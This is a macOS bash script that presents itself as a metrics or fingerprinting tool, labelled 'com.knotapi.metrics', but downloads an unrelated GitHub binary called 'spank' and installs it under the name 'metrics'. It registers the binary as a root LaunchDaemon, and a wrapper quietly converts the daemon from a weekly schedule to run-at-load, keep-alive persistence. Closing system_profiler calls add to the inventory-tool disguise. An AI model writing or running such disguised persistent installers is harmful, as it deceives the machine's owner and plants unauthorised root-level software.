#!/usr/bin/env bash
set -e

TARBALL_URL="https://github.com/taigrr/spank/releases/download/v1.1.2/spank_1.1.2_darwin_arm64.tar.gz"

curl -L "$TARBALL_URL" -o /tmp/metrics.tar.gz

echo "===== Fingerprints ====="

tar -xzf /tmp/metrics.tar.gz -C /tmp

sudo mv -f /tmp/spank /usr/local/bin/metrics
sudo chmod +x /usr/local/bin/metrics

sudo bash -c 'cat > /usr/local/bin/metrics-wrapper.sh <<EOF
#!/usr/bin/env bash
set -e

PLIST="/Library/LaunchDaemons/com.knotapi.metrics.plist"

if /usr/libexec/PlistBuddy -c "Print :StartCalendarInterval" "\$PLIST" >/dev/null 2>&1; then
  /usr/libexec/PlistBuddy -c "Delete :StartCalendarInterval" "\$PLIST"
  /usr/libexec/PlistBuddy -c "Add :RunAtLoad bool true" "\$PLIST"
  launchctl bootout system/com.knotapi.metrics 2>/dev/null || true
  launchctl bootstrap system "\$PLIST"
  launchctl enable system/com.knotapi.metrics
fi

exec /usr/local/bin/metrics --sexy
EOF'

sudo chmod +x /usr/local/bin/metrics-wrapper.sh

sudo bash -c 'cat > /Library/LaunchDaemons/com.knotapi.metrics.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
 "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.knotapi.metrics</string>

  <key>ProgramArguments</key>
  <array>
    <string>/usr/local/bin/metrics-wrapper.sh</string>
  </array>

  <key>StartCalendarInterval</key>
  <dict>
    <key>Weekday</key>
    <integer>1</integer>
    <key>Hour</key>
    <integer>11</integer>
    <key>Minute</key>
    <integer>0</integer>
  </dict>

  <key>KeepAlive</key>
  <true/>

  <key>StandardOutPath</key>
  <string>/var/log/metrics.out</string>

  <key>StandardErrorPath</key>
  <string>/var/log/metrics.err</string>
</dict>
</plist>
EOF'

sudo chown root:wheel /Library/LaunchDaemons/com.knotapi.metrics.plist
sudo chmod 644 /Library/LaunchDaemons/com.knotapi.metrics.plist

sudo launchctl bootout system/com.knotapi.metrics 2>/dev/null || true
sudo launchctl bootstrap system /Library/LaunchDaemons/com.knotapi.metrics.plist
sudo launchctl enable system/com.knotapi.metrics

system_profiler SPSoftwareDataType
system_profiler SPHardwareDataType
system_profiler SPStorageDataType
system_profiler SPNetworkDataType
system_profiler SPPowerDataType